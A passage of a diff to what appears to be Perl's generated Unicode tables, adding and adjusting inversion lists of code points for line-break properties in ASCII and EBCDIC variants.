+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1DA8B,
+	0x1DA8C,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F12E,
+	0x1F12F,
+	0x1F16A,
+	0x1F16C,
+	0x1F39C,
+	0x1F39E,
+	0x1F3B5,
+	0x1F3B7,
+	0x1F3BC,
+	0x1F3BD,
+	0x1F4A0,
+	0x1F4A1,
+	0x1F4A2,
+	0x1F4A3,
+	0x1F4A4,
+	0x1F4A5,
+	0x1F4AF,
+	0x1F4B0,
+	0x1F4B1,
+	0x1F4B3,
+	0x1F500,
+	0x1F507,
+	0x1F517,
+	0x1F525,
+	0x1F532,
+	0x1F54A,
+	0x1F5D4,
+	0x1F5DC,
+	0x1F5F4,
+	0x1F5FA,
+	0x1F650,
+	0x1F676,
+	0x1F67C,
+	0x1F680,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__B2_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2014,
+	0x2015,
+	0x2E3A,
+	0x2E3C
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__BA_invlist[] = { /* for ASCII/Latin1 */
+	185,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xA,
+	0x7C,
+	0x7D,
+	0xAD,
+	0xAE,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x964,
+	0x966,
+	0xE5A,
+	0xE5C,
+	0xF0B,
+	0xF0C,
+	0xF34,
+	0xF35,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xFBE,
+	0xFC0,
+	0xFD2,
+	0xFD3,
+	0x104A,
+	0x104C,
+	0x1361,
+	0x1362,
+	0x1400,
+	0x1401,
+	0x1680,
+	0x1681,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D6,
+	0x17D8,
+	0x17D9,
+	0x17DA,
+	0x17DB,
+	0x1804,
+	0x1806,
+	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B61,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x2000,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x2010,
+	0x2011,
+	0x2012,
+	0x2014,
+	0x2027,
+	0x2028,
+	0x2056,
+	0x2057,
+	0x2058,
+	0x205C,
+	0x205D,
+	0x2060,
+	0x2CFA,
+	0x2CFD,
+	0x2CFF,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E0E,
+	0x2E16,
+	0x2E17,
+	0x2E18,
+	0x2E19,
+	0x2E1A,
+	0x2E2A,
+	0x2E2E,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3C,
+	0x2E3F,
+	0x2E40,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x3000,
+	0x3001,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA60E,
+	0xA60F,
+	0xA610,
+	0xA6F3,
+	0xA6F8,
+	0xA8CE,
+	0xA8D0,
+	0xA92E,
+	0xA930,
+	0xA9C7,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x10A50,
+	0x10A58,
+	0x10AF0,
+	0x10AF6,
+	0x10B39,
+	0x10B40,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144F,
+	0x1145B,
+	0x1145C,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A41,
+	0x11A45,
+	0x11A9A,
+	0x11A9D,
+	0x11AA1,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__BA_invlist[] = { /* for EBCDIC 1047 */
+	185,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0x4F,
+	0x50,
+	0xCA,
+	0xCB,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x964,
+	0x966,
+	0xE5A,
+	0xE5C,
+	0xF0B,
+	0xF0C,
+	0xF34,
+	0xF35,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xFBE,
+	0xFC0,
+	0xFD2,
+	0xFD3,
+	0x104A,
+	0x104C,
+	0x1361,
+	0x1362,
+	0x1400,
+	0x1401,
+	0x1680,
+	0x1681,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D6,
+	0x17D8,
+	0x17D9,
+	0x17DA,
+	0x17DB,
+	0x1804,
+	0x1806,
+	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B61,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x2000,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x2010,
+	0x2011,
+	0x2012,
+	0x2014,
+	0x2027,
+	0x2028,
+	0x2056,
+	0x2057,
+	0x2058,
+	0x205C,
+	0x205D,
+	0x2060,
+	0x2CFA,
+	0x2CFD,
+	0x2CFF,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E0E,
+	0x2E16,
+	0x2E17,
+	0x2E18,
+	0x2E19,
+	0x2E1A,
+	0x2E2A,
+	0x2E2E,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3C,
+	0x2E3F,
+	0x2E40,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x3000,
+	0x3001,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA60E,
+	0xA60F,
+	0xA610,
+	0xA6F3,
+	0xA6F8,
+	0xA8CE,
+	0xA8D0,
+	0xA92E,
+	0xA930,
+	0xA9C7,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x10A50,
+	0x10A58,
+	0x10AF0,
+	0x10AF6,
+	0x10B39,
+	0x10B40,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144F,
+	0x1145B,
+	0x1145C,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A41,
+	0x11A45,
+	0x11A9A,
+	0x11A9D,
+	0x11AA1,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__BA_invlist[] = { /* for EBCDIC 037 */
+	185,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0x4F,
+	0x50,
+	0xCA,
+	0xCB,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x964,
+	0x966,
+	0xE5A,
+	0xE5C,
+	0xF0B,
+	0xF0C,
+	0xF34,
+	0xF35,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xFBE,
+	0xFC0,
+	0xFD2,
+	0xFD3,
+	0x104A,
+	0x104C,
+	0x1361,
+	0x1362,
+	0x1400,
+	0x1401,
+	0x1680,
+	0x1681,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D6,
+	0x17D8,
+	0x17D9,
+	0x17DA,
+	0x17DB,
+	0x1804,
+	0x1806,
+	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B61,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x2000,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x2010,
+	0x2011,
+	0x2012,
+	0x2014,
+	0x2027,
+	0x2028,
+	0x2056,
+	0x2057,
+	0x2058,
+	0x205C,
+	0x205D,
+	0x2060,
+	0x2CFA,
+	0x2CFD,
+	0x2CFF,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E0E,
+	0x2E16,
+	0x2E17,
+	0x2E18,
+	0x2E19,
+	0x2E1A,
+	0x2E2A,
+	0x2E2E,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3C,
+	0x2E3F,
+	0x2E40,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x3000,
+	0x3001,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA60E,
+	0xA60F,
+	0xA610,
+	0xA6F3,
+	0xA6F8,
+	0xA8CE,
+	0xA8D0,
+	0xA92E,
+	0xA930,
+	0xA9C7,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x10A50,
+	0x10A58,
+	0x10AF0,
+	0x10AF6,
+	0x10B39,
+	0x10B40,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144F,
+	0x1145B,
+	0x1145C,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A41,
+	0x11A45,
+	0x11A9A,
+	0x11A9D,
+	0x11AA1,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8B
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__BB_invlist[] = { /* for ASCII/Latin1 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB4,
+	0xB5,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2DF,
+	0x2E0,
+	0xF01,
+	0xF05,
+	0xF06,
+	0xF08,
+	0xF09,
+	0xF0B,
+	0xFD0,
+	0xFD2,
+	0xFD3,
+	0xFD4,
+	0x1806,
+	0x1807,
+	0x1FFD,
+	0x1FFE,
+	0xA874,
+	0xA876,
+	0xA8FC,
+	0xA8FD,
+	0x11175,
+	0x11176,
+	0x111DB,
+	0x111DC,
+	0x115C1,
+	0x115C2,
+	0x11660,
+	0x1166D,
+	0x11A3F,
+	0x11A40,
+	0x11A45,
+	0x11A46,
+	0x11A9E,
+	0x11AA1,
+	0x11C70,
+	0x11C71
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__BB_invlist[] = { /* for EBCDIC 1047 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBE,
+	0xBF,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2DF,
+	0x2E0,
+	0xF01,
+	0xF05,
+	0xF06,
+	0xF08,
+	0xF09,
+	0xF0B,
+	0xFD0,
+	0xFD2,
+	0xFD3,
+	0xFD4,
+	0x1806,
+	0x1807,
+	0x1FFD,
+	0x1FFE,
+	0xA874,
+	0xA876,
+	0xA8FC,
+	0xA8FD,
+	0x11175,
+	0x11176,
+	0x111DB,
+	0x111DC,
+	0x115C1,
+	0x115C2,
+	0x11660,
+	0x1166D,
+	0x11A3F,
+	0x11A40,
+	0x11A45,
+	0x11A46,
+	0x11A9E,
+	0x11AA1,
+	0x11C70,
+	0x11C71
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__BB_invlist[] = { /* for EBCDIC 037 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBE,
+	0xBF,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2DF,
+	0x2E0,
+	0xF01,
+	0xF05,
+	0xF06,
+	0xF08,
+	0xF09,
+	0xF0B,
+	0xFD0,
+	0xFD2,
+	0xFD3,
+	0xFD4,
+	0x1806,
+	0x1807,
+	0x1FFD,
+	0x1FFE,
+	0xA874,
+	0xA876,
+	0xA8FC,
+	0xA8FD,
+	0x11175,
+	0x11176,
+	0x111DB,
+	0x111DC,
+	0x115C1,
+	0x115C2,
+	0x11660,
+	0x1166D,
+	0x11A3F,
+	0x11A40,
+	0x11A45,
+	0x11A46,
+	0x11A9E,
+	0x11AA1,
+	0x11C70,
+	0x11C71
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__BK_invlist[] = { /* for ASCII/Latin1 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB,
+	0xD,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__BK_invlist[] = { /* for EBCDIC 1047 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB,
+	0xD,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__BK_invlist[] = { /* for EBCDIC 037 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB,
+	0xD,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__CB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFFFC,
+	0xFFFD
+};
+
+static const UV PL_LB__CJ_invlist[] = { /* for all charsets */
+	51,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3041,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
+	0x3097,
+	0x30A1,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
+	0x30FC,
+	0x30FD,
+	0x31F0,
+	0x3200,
+	0xFF67,
+	0xFF71
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__CL_invlist[] = { /* for ASCII/Latin1 */
+	165,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7D,
+	0x7E,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
 	0x2769,
 	0x276A,
 	0x276B,
@@ -71978,10 +282155,8 @@
 	0x2774,
 	0x2775,
 	0x2776,
-	0x27C5,
 	0x27C6,
 	0x27C7,
-	0x27E6,
 	0x27E7,
 	0x27E8,
 	0x27E9,
@@ -71992,7 +282167,6 @@
 	0x27EE,
 	0x27EF,
 	0x27F0,
-	0x2983,
 	0x2984,
 	0x2985,
 	0x2986,
@@ -72015,38 +282189,12 @@
 	0x2997,
 	0x2998,
 	0x2999,
-	0x29D8,
 	0x29D9,
 	0x29DA,
 	0x29DB,
 	0x29DC,
-	0x29FC,
 	0x29FD,
 	0x29FE,
-	0x2CEF,
-	0x2CF2,
-	0x2CF9,
-	0x2CFA,
-	0x2CFD,
-	0x2CFE,
-	0x2CFF,
-	0x2D00,
-	0x2D70,
-	0x2D71,
-	0x2D7F,
-	0x2D80,
-	0x2DE0,
-	0x2E00,
-	0x2E0E,
-	0x2E16,
-	0x2E17,
-	0x2E18,
-	0x2E19,
-	0x2E1A,
-	0x2E1C,
-	0x2E1E,
-	0x2E20,
-	0x2E22,
 	0x2E23,
 	0x2E24,
 	0x2E25,
@@ -72055,33 +282203,8 @@
 	0x2E28,
 	0x2E29,
 	0x2E2A,
-	0x2E2E,
-	0x2E2F,
-	0x2E30,
-	0x2E32,
-	0x2E33,
-	0x2E35,
-	0x2E3A,
-	0x2E3C,
-	0x2E3F,
-	0x2E40,
-	0x2E42,
-	0x2E43,
-	0x2E45,
-	0x2E80,
-	0x2E9A,
-	0x2E9B,
-	0x2EF4,
-	0x2F00,
-	0x2FD6,
-	0x2FF0,
-	0x2FFC,
-	0x3000,
 	0x3001,
 	0x3003,
-	0x3005,
-	0x3006,
-	0x3008,
 	0x3009,
 	0x300A,
 	0x300B,
@@ -72092,7 +282215,6 @@
 	0x3010,
 	0x3011,
 	0x3012,
-	0x3014,
 	0x3015,
 	0x3016,
 	0x3017,
@@ -72101,97 +282223,727 @@
 	0x301A,
 	0x301B,
 	0x301C,
-	0x301D,
 	0x301E,
 	0x3020,
+	0xFD3E,
+	0xFD3F,
+	0xFE11,
+	0xFE13,
+	0xFE18,
+	0xFE19,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE48,
+	0xFE49,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0xFF65,
+	0x1325B,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x1328A,
+	0x1337A,
+	0x1337C,
+	0x145CF,
+	0x145D0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CL_invlist[] = { /* for EBCDIC 1047 */
+	165,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD0,
+	0xD1,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3001,
+	0x3003,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0x301E,
+	0x3020,
+	0xFD3E,
+	0xFD3F,
+	0xFE11,
+	0xFE13,
+	0xFE18,
+	0xFE19,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE48,
+	0xFE49,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0xFF65,
+	0x1325B,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x1328A,
+	0x1337A,
+	0x1337C,
+	0x145CF,
+	0x145D0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CL_invlist[] = { /* for EBCDIC 037 */
+	165,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD0,
+	0xD1,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
